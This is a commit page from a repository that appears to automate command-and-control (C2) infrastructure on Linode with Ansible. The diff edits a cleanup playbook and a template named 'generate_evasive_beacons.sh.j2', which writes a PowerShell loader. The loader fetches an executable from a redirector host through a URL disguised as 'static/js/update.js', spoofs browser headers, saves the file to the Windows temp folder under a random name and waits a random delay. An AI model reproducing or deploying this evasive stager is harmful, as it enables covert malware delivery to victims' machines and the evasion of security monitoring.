n0mad1k/CoM-c2itall
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

keep trying

Browse Source
This commit is contained in:
n0mad1k
2025-04-15 22:21:05 -04:00
parent e2d25badc8
commit d415891db3
2 changed files with 3 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Linode/cleanup.yml
+1 -1
View File
@@ -84,6 +84,6 @@
{% if c2_deletion is defined %} {% if c2_deletion is defined %}
- C2 {{ c2_name }}: {{ c2_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }} - C2 {{ c2_name }}: {{ c2_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }}
{% endif %} {% endif %}
{% if tracker_deletion is defined %} {% if tracker_deletion is defined and tracker_name is defined %}
- Tracker {{ tracker_name }}: {{ tracker_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }} - Tracker {{ tracker_name }}: {{ tracker_deletion.changed | ternary('Deleted', 'Not found/Could not delete') }}
{% endif %} {% endif %}
templates/generate_evasive_beacons.sh.j2
+2 -2
View File
@@ -4,7 +4,7 @@
# Configuration (automatically populated by Ansible) # Configuration (automatically populated by Ansible)
BEACONS_DIR="/opt/beacons" BEACONS_DIR="/opt/beacons"
C2_HOST="{{ ansible_host }}" C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="cdn.{{ domain }}" REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}" REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
TEMP_DIR=$(mktemp -d) TEMP_DIR=$(mktemp -d)
@@ -118,7 +118,7 @@ cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") \$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") \$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/static/js/update.js" \$url = "https://$REDIRECTOR_HOST/static/js/update.js"
\$outpath = "\$env:TEMP\\$(random_string 8).exe" \$outpath = "\$env:TEMP\\random-\$(New-Guid).exe"
try { try {
\$wc.DownloadFile(\$url, \$outpath) \$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)